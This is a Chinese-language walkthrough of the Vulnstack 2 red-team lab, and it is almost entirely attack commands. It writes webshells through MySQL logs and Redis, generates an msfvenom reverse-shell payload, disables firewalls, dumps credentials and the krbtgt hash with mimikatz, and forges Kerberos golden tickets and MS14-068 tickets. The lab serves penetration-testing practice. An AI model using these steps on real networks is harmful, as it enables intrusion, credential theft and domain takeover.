下载地址:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
官方描述
红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一密码:hongrisec@2019:
一、环境搭建
1.环境搭建测试
2.信息收集
二、漏洞利用
3.漏洞搜索与利用
4.后台Getshell上传技巧
5.系统信息收集
6.主机密码收集
三、内网搜集
7.内网–继续信息收集
8.内网攻击姿势–信息泄露
9.内网攻击姿势-MS08-067
10.内网攻击姿势-SMB远程桌面口令猜测
11.内网攻击姿势-Oracle数据库TNS服务漏洞
12.内网攻击姿势-RPC DCOM服务漏洞
四、横向移动
13.内网其它主机端口-文件读取
14.内网其它主机端口-redis
15.内网其它主机端口-redis Getshell
16.内网其它主机端口-MySQL数据库
17.内网其它主机端口-MySQL提权
五、构建通道
18.内网其它主机端口-代理转发
六、持久控制
19.域渗透-域成员信息收集
20.域渗透-基础服务弱口令探测及深度利用之powershell
21.域渗透-横向移动[wmi利用]
22.域渗透-C2命令执行
23.域渗透-利用DomainFronting实现对beacon的深度隐藏
24.域渗透-域控实现与利用
七、痕迹清理
25、日志清理
网络拓扑:
本地环境:
配置好网络环境,启动win7 下的 phpstudy
web直接就是php探针
NMAP
目录
网站备份文件
phpinfo
http://192.168.60.170/phpinfo.php
http://192.168.60.170/phpmyadmin/
http://192.168.60.170/phpmyadmin/examples/
http://192.168.60.170/phpmyadmin/setup/
http://192.168.60.170/phpmyadmin/changelog
暂时没有其它发现
爆破phpmyadmin
爆破到几个空密码,但是空密码无法登录
没有读取文件的权限
在phpmyadmin中发现一个 yxcms的数据库
尝试写入一句话,
select '' into outfile 'C:/phpStudy/WWW/shell.php'
尝试修改 secure_file_priv 但是失败了
show variables like "secure_file_priv";
set global secure_file_priv='';
利用mysql general_log_file 上传一句话
show variables like 'general%'
set global general_log = 'ON'
把 general_log日志路径放网站根目录
set global general_log_file='C:/phpStudy/WWW/shell.php'
因为general_log 日志会记录我们执行的sql语句,所以我们执行php一句话也会被记录,因为后缀被改为php,所以php碰到php头 就会认为这是个php文件
再次访问,报php错误,确定已经被php解析,但是在940行有一个致命错误
清空general_log 日志再次尝试
set global general_log = 'OFF';
rename table mysql.general_log TO mysql.general_log2;
delete from mysql.general_log2;
show variables like 'general%'
rename table mysql.general_log2 TO mysql.general_log;
set global general_log = 'ON';
set global general_log_file='C:/phpStudy/WWW/shell2.php'
show variables like 'general%'
select '';
网站泄露后台地址和用户密码,且用户密码为弱口令
百度查询到相关目录结构找到后端登录页面
http://192.168.60.170/yxcms/index.php?r=admin/index/login
网上搜索了yxcms相关漏洞,在此复现
新建模板
通过前面泄露的备份文件得到上传点
http://192.168.60.170/yxcms/protected/apps/default/view/default/shell.php.php
需要先登录后台,然后访问之后会显示缩略图不存在
Payload:http://sb.com/index.php?r=admin/photo/delpic
POST:picname=…/…/protected/apps/install/install.lock
上线CS
start artifact.exe
查看内网网段
whoami,hostname
查询系统架构,安装软件
echo %PROCESSOR_ARCHITECTURE%
wmic product get name,version
查询域列表与所有用户
net view /domain
net user /domain
从域控查询时间,若当前用户是域用户会从域控返回当前时间,亦用来判断主域,主域一般用做时间服务器
然后利用 net group "domain controllers" /domain
验证域控主机
net time /domain
net group "domain controllers" /domain
net accounts /domain
确认域控 IP
路由信息
arp 表
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关闭防火墙在连接
netsh firewall set opmode disable
添加用户
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.60.129 LPORT=7777 -f exe > shell.exe
上传
创建一个监听器
使用 psexec 登录
获得域控 OWA beacon
msf监听
CS新建一个监听器
增加会话派生
msf上线
shell 乱码
chcp 65001
添加路由
run autoroute -s 192.168.52.0/24
run autoroute -p
run get_local_subnets
扫描141端口
因为环境描述中有Oracle与redis,所以加上端口
141
描述中有08067,但是打不了,17010能打,但是会把服务器打蓝屏
138
138域控主机本来也打不了,最后关闭防火墙后成功
关闭防火墙
netsh advfirewall set allprofiles state off
redis 其实是有问题的
官方描述中有提到 redis ,但是默认是访问不了的,实在没找到其它思路,只得修改redis零时配置文件
127.0.0.1:6379> config set protected-mode no
msf相关redis模块
auxiliary/scanner/redis/file_upload
auxiliary/scanner/redis/redis_login
auxiliary/scanner/redis/redis_server
138域控靶机上开放了80,通过前面的路由,已经可以直接访问了
通过 redis 往物理路径写 webshell
此时redis只需要目录写权限
但是在不知道物理路径的情况下,比较困难
192.168.52.138:6379> config set dir C:\inetpub\wwwroot\
OK
192.168.52.138:6379> config set dbfilename shell.aspx
OK
192.168.52.138:6379> set x "<% @Page Language='Jscript'%><%eval(Request.Item['pwd'],'unsafe');%>"
OK
192.168.52.138:6379> save
OK
192.168.52.138:6379>
制作黄金票据的前提条件
krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户
域名已经在前面收集到:god.org
SID: whoami /user
域ID 和 krbtgt 账户hash
mimikatz # privilege::debug #(提升权限)
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords #(抓取明文密码和 hash)
mimikatz # lsadump::dcsync /domain:god.org /user:krbtgt #导出 krbtgt 密码 hash
mimikatz # lsadump::dcsync /domain:god.org /all /csv #导出所有域内用户密码 hash 值:
域的 SID:S-1-5-21-2952760202-1353902439-2381784089-500
aes256_hmac:a780c2c18b3287e3448562a36dccb2d57d11fd398b55ce2cd9b128308cef74df
NTLM:58e91a5ac358d86513ab224312314061
"kerberos::golden /domain:<域名> /sid:<域SID> /aes256: /user:<任意用户名> /ptt"
kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089-500 /aes256:a780c2c18b3287e3448562a36dccb2d57d11fd398b55ce2cd9b128308cef74df /user:abc /ptt
伪造票据
CS也能伪造票据
伪造的票据信息
MS14-068 是一个能够使普通用户提权获取域控权限的权限提升漏洞,微软给出的补丁
是 kb3011780。在 server 2000 以上的域控中,只要没打这个补丁,都有可能被利用。
访问域共享被拒绝
使用 MS14-068 生成票据
MS14-068.exe -u 域用户@域控名 -p 域用户密码 -s 域用户sid -d 域ip
MS14-068.exe -u Administrator@god.org -s S-1-5-21-2952760202-1353902439-2381784089-500 -p hongrisec@2021 -d 192.168.52.138
导入前删除当前缓存kerberos票据
mimikatz # kerberos::purge
or
klist purge
使用mimikatz导入kerberos票据
mimikatz # kerberos::ptc TGT_Administrator@god.org.ccache
C:\phpStudy\WWW>dir \\owa.god.org\C$